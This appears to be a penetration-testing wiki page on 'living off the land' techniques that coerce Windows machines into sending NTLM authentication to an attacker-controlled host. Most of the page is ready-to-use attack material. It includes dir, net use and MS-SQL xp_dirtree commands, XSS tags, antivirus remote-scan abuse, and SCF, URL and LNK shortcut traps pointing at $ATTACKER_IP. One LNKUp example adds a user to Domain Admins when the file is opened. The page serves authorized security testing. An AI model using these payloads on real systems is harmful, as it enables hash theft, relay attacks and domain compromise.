🛠️ Living off the land
This is a work-in-progress. It's indicated with the 🛠️ emoji in the page name or in the category name

Theory

In the physical world, “living off the land” simply means to survive only by the resources that you can harvest from the natural land. There may be multiple reasons for doing this — perhaps you want to get “off the grid,” or maybe you have something or someone to hide from. Or maybe you just like the challenge of being self-sufficient.
In the technology world, “living off the land” (LotL) refers to attacker behavior that uses tools or features that already exist in the target environment. (source)
There are multiple "living off the land" techniques that can be used to force authentications, to capture hashes, or to relay authentications. In order to use those techniques, testers need to have an initial access to "the land", i.e. the tools or features the technique uses.

Practice

Those techniques will usually generate outgoing traffic on SMB or HTTP, hence requiring the attacker to set up an SMB or HTTP server to capture or relay the authentication (e.g. using tools like Responder (Python), Inveigh (Powershell), ntlmrelayx (Python) or Inveigh-Relay (Powershell)).

Command execution

On Windows machines, cmdlets like net or dir can be used to make the machine access a remote resource, hence making it authenticate. This leads to an outgoing traffic using SMB.
1
dir \\$ATTACKER_IP\something
2
net use \\$ATTACKER_IP\something
Copied!
The rpcping command can also be used to trigger an authentication. The perk of this technique is that the auth won't carry a signing negotiation flag, hence allowing for relays

MS-SQL queries execution

On MS-SQL (Microsoft SQL) servers, the EXEC method can be used to access a remote SMB share. This leads to an outgoing traffic using SMB.
1
EXEC master.sys.xp_dirtree '\\$ATTACKER_IP\something',1,1
Copied!

File explorer

On Windows machines, the file explorer can be used to access remote resources like SMB shares by supplying its UNC path (i.e. \\$ATTACKER_IP\something) in the research bar. This leads to an outgoing traffic using SMB.

Internet browser

Internet browsers can access HTTP servers by supplying their URL (i.e. http://$IP:$PORT/something) in the research bar. This technique is rarely used as it can pop up a prompt. This leads to an outgoing traffic using HTTP.

HTML documents / XSS

HTML documents can be crafted (or injected with content when successfully exploiting an HTML injection attack such as an Cross-Site Scripting) in way that could make browsers authenticate when accessing a remote resource. This leads to an outgoing traffic using SMB.
1
<script>
2
language='javascript' src="\\$ATTACKER_IP\something\something.js"
3
</script>
Copied!
1
<img src="file://$ATTACKER_IP/something/something.png"/>
Copied!

Web server file inclusion

Places of Interest in Stealing NetNTLM Hashes | 🔐Blog of Osanda
🔐Blog of Osanda

Windows Defender Remote Scanning

1
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\$ATTACKER_IP\file.txt
Copied!

Trend Micro Remote Scanning

1
C:\Program Files (x86)\Trend Micro\OfficeScan Clien\PccNt.exe \\$ATTACKER_IP\s\
Copied!

Shortcut files (scf, lnk, url)

SMB shares can be trapped with shortcut files that will automatically be handled by Windows' file explorer (e.g. a URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary). This leads to an outgoing traffic using SMB.
Shortcut file names can be preprended with a @ symbol to put them on top of the share, to make sure the file explorer has to parse it.
The ntlm_theft (Python) tool can be used to generate multiple file types at once (lnk, scf, url, docx, xslx, htm, xml, pdf, ...).
1
ntlm_theft.py --generate all --server $ATTACKER_IP --filename "@FILENAME"
Copied!
.lnk
.scf
.url
An LNK shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.
Shortcuts with the .lnk extension have a lot of beneficial properties when it comes to stealth; they are an exception from the Windows setting to show or hide file extensions. Even when “hide known file extensions” is disabled, explorer.exe will only show the name, allowing us to let it end in “.jpeg”. A major downside is that they only allow 1024 characters for the whole command they execute. (source)
LNKUp (Python) is a great tool to generate malicious LNK shortcuts. They can be set with a remote icon file to generate outgoing SMB traffic and authentications but can also be set to execute commands when opened (i.e. double-clicked).
1
# Simple SMB trap with remote icon file
2
LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk'
3
4
# SMB trap + command execution
5
LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk' --execute "net group 'Domain Admins' Pentester01 /domain /add"
Copied!
Advanced traps
An SCF shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.
@CONFIDENTIAL-ACCOUNTS.scf
1
[Shell]
2
Command=2
3
IconFile=\\$ATTACKER_IP\something\something.ico
4
[Taskbar]
5
Command=ToggleDesktop
Copied!
A URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.
@CONFIDENTIAL-ACCOUNTS.url
1
[InternetShortcut]
2
URL=https://www.thehacker.recipes/
3
IconIndex=0
4
IconFile=\\$ATTACKER_IP\something\something.ico
Copied!

PDF documents

RTF documents

MS Word documents

Resources

Hatching - Automated malware analysis solutions
hatching_io
What Are Living Off the Land Attacks?
LogRhythm
Places of Interest in Stealing NetNTLM Hashes | 🔐Blog of Osanda
🔐Blog of Osanda
SMB Share – SCF File Attacks
Penetration Testing Lab
Last modified 22d ago